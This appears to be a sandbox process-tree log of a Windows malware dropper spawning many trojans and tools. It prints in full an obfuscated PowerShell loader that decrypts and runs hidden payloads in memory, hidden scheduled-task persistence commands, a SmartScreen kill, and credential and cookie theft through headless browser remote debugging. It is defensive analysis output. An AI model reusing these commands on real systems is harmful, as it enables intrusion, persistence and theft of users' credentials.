C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls&title [Discord Nitro Generator] By The_G ^| Welcome :)5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\services.exe"C:\Users\Admin\AppData\Local\Temp\Files\services.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\tlp.exe"C:\Users\Admin\AppData\Local\Temp\Files\tlp.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8268 -s 7924⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cock.exe"C:\Users\Admin\AppData\Local\Temp\Files\cock.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pfntjejghjsdkr.exe"C:\Users\Admin\AppData\Local\Temp\Files\pfntjejghjsdkr.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe"C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\winrarx64521sc.exe"C:\Users\Admin\AppData\Local\Temp\Files\winrarx64521sc.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\%E8%87%AA%E5%8A%A8%E6%9B%B4%E6%96%B0%E8%BE%85%E5%8A%A9%E7%A8%8B%E5%BA%8F.exe"C:\Users\Admin\AppData\Local\Temp\Files\%E8%87%AA%E5%8A%A8%E6%9B%B4%E6%96%B0%E8%BE%85%E5%8A%A9%E7%A8%8B%E5%BA%8F.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted_c360a5b7.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted_c360a5b7.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe"C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\yx_dts.exe"C:\Users\Admin\AppData\Local\Temp\Files\yx_dts.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe"C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" SW_SHOWNORMAL4⤵
-
-
C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe"C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" /autorun /setuprun4⤵
-
-
C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe"C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" /setupsucc4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\injectorOld.exe"C:\Users\Admin\AppData\Local\Temp\Files\injectorOld.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\BruterV3.1.exe"C:\Users\Admin\AppData\Local\Temp\Files\BruterV3.1.exe"3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows_Host_Process" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe"C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe"4⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows_Host_Process" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\15%EC%8B%AC%ED%94%8C%EC%8A%A4%EC%BA%94.exe"C:\Users\Admin\AppData\Local\Temp\Files\15%EC%8B%AC%ED%94%8C%EC%8A%A4%EC%BA%94.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Files\15심플스캔\스캔 설치.bat" "4⤵
-
C:\Windows\system32\fsutil.exeFSUTIL Dirty Query "C:"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.InterfaceAlias -notmatch 'Loopback' -and $_.AddressState -eq 'Preferred' } | ForEach-Object { $guid = (Get-NetAdapter -InterfaceIndex $_.InterfaceIndex).InterfaceGuid; if($guid) { write-host ($guid + ',' + $_.IPAddress) } }" 2>nul5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.InterfaceAlias -notmatch 'Loopback' -and $_.AddressState -eq 'Preferred' } | ForEach-Object { $guid = (Get-NetAdapter -InterfaceIndex $_.InterfaceIndex).InterfaceGuid; if($guid) { write-host ($guid + ',' + $_.IPAddress) } }"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8083CAF2-1E90-4A99-9773-12602831DAC6}" /v EnableDHCP 2>nul5⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8083CAF2-1E90-4A99-9773-12602831DAC6}" /v EnableDHCP6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Darwin.exe"C:\Users\Admin\AppData\Local\Temp\Files\Darwin.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\taskmoder.exe"C:\Users\Admin\AppData\Local\Temp\Files\taskmoder.exe"3⤵
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\ProgramData\jxtdqhbji.vbs"4⤵
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im smartscreen.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"5⤵
-
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
-
-
C:\Windows\Temp\ydnsjflu.h4z.scr"C:\Windows\Temp\ydnsjflu.h4z.scr" /S4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX1\MemoryDiagnostic.bat" "5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97llXfWIPIQpImNiK5KtBDt3irimGLQPqFnLHvKz0zc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mALtG2O/Bjjfm0ZW7VnQDw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ErlSt=New-Object System.IO.MemoryStream(,$param_var); $nTyeT=New-Object System.IO.MemoryStream; $VikMi=New-Object System.IO.Compression.GZipStream($ErlSt, [IO.Compression.CompressionMode]::Decompress); $VikMi.CopyTo($nTyeT); $VikMi.Dispose(); $ErlSt.Dispose(); $nTyeT.Dispose(); $nTyeT.ToArray();}function execute_function($param_var,$param2_var){ $EmxPf=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rHhiw=$EmxPf.EntryPoint; $rHhiw.Invoke($null, $param2_var);}$XUJev = 'C:\Users\Admin\AppData\Local\Temp\RarSFX1\MemoryDiagnostic.bat';$host.UI.RawUI.WindowTitle = $XUJev;$cDIGC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XUJev).Split([Environment]::NewLine);foreach ($kZWrm in $cDIGC) { if ($kZWrm.StartsWith('dneCvjYTeJjwRzOmlRHQ')) { $eHXXx=$kZWrm.Substring(20); break; }}$payloads_var=[string[]]$eHXXx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_833_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_833.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_833.vbs"7⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_833.bat" "8⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97llXfWIPIQpImNiK5KtBDt3irimGLQPqFnLHvKz0zc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mALtG2O/Bjjfm0ZW7VnQDw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ErlSt=New-Object System.IO.MemoryStream(,$param_var); $nTyeT=New-Object System.IO.MemoryStream; $VikMi=New-Object System.IO.Compression.GZipStream($ErlSt, [IO.Compression.CompressionMode]::Decompress); $VikMi.CopyTo($nTyeT); $VikMi.Dispose(); $ErlSt.Dispose(); $nTyeT.Dispose(); $nTyeT.ToArray();}function execute_function($param_var,$param2_var){ $EmxPf=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rHhiw=$EmxPf.EntryPoint; $rHhiw.Invoke($null, $param2_var);}$XUJev = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_833.bat';$host.UI.RawUI.WindowTitle = $XUJev;$cDIGC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XUJev).Split([Environment]::NewLine);foreach ($kZWrm in $cDIGC) { if ($kZWrm.StartsWith('dneCvjYTeJjwRzOmlRHQ')) { $eHXXx=$kZWrm.Substring(20); break; }}$payloads_var=[string[]]$eHXXx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "9⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden9⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6212 -s 9565⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\37cqsj.exe"C:\Users\Admin\AppData\Local\Temp\Files\37cqsj.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe"C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /setupsucc4⤵
-
-
C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe"C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /autorun /setuprun4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hs.exe"C:\Users\Admin\AppData\Local\Temp\Files\hs.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ntladlklthawd.exe"C:\Users\Admin\AppData\Local\Temp\Files\ntladlklthawd.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe"C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-42MR8.tmp\PrivacyPolicy.tmp"C:\Users\Admin\AppData\Local\Temp\is-42MR8.tmp\PrivacyPolicy.tmp" /SL5="$20712,699759,54272,C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\plantrojan.exe"C:\Users\Admin\AppData\Local\Temp\Files\plantrojan.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe"C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\agent.exe"C:\Users\Admin\AppData\Local\Temp\Files\agent.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\prueba.exe"C:\Users\Admin\AppData\Local\Temp\Files\prueba.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\xerox01_pdf.exe"C:\Users\Admin\AppData\Local\Temp\Files\xerox01_pdf.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\imgs.exe"C:\Users\Admin\AppData\Local\Temp\Files\imgs.exe"3⤵
-
C:\ProgramData\WindowsDataC.exe"C:\ProgramData\WindowsDataC.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\ahC2p0sVNkxGSe7a.exe"C:\Users\Admin\AppData\Local\Temp\ahC2p0sVNkxGSe7a.exe"4⤵
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\AlternativeEdgeCookies-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\FirefoxCookies-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\InstalledApps-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /shtml "C:\Users\Admin\AppData\Roaming\watch-output_20260407004842.html"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\ChromeV20-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\BrowserHistory-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\DefenderLogs-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\WorkingTasks-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\Bookmarks-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\Bookmarks-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\ProductKeys-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\ExtensionsView-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\Autofill-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\AllPasswords-output_20260407004842.txt"5⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CookieExtractor_b4dbfb1c\cookieextract.ps1" -Browser Both -OutputDir "C:\Users\Admin\AppData\Roaming"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory="Default"6⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff83c24c728,0x7ff83c24c734,0x7ff83c24c7407⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2032,i,8221864114079669001,6003607704651090344,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2004 /prefetch:27⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2032,i,8221864114079669001,6003607704651090344,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2056 /prefetch:37⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2032,i,8221864114079669001,6003607704651090344,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2128 /prefetch:87⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2032,i,8221864114079669001,6003607704651090344,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2896 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2032,i,8221864114079669001,6003607704651090344,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2916 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=2032,i,8221864114079669001,6003607704651090344,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3648 /prefetch:27⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=2032,i,8221864114079669001,6003607704651090344,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3976 /prefetch:17⤵
- Uses browser remote debugging
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data"6⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff83c24c728,0x7ff83c24c734,0x7ff83c24c7407⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default"6⤵
- Uses browser remote debugging
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x26c,0x270,0x274,0x268,0x308,0x7ff8345cc188,0x7ff8345cc194,0x7ff8345cc1a07⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2292,i,7369296501464212858,1992403372776944437,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:27⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2292,i,7369296501464212858,1992403372776944437,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2308 /prefetch:37⤵
- System Time Discovery
-
-
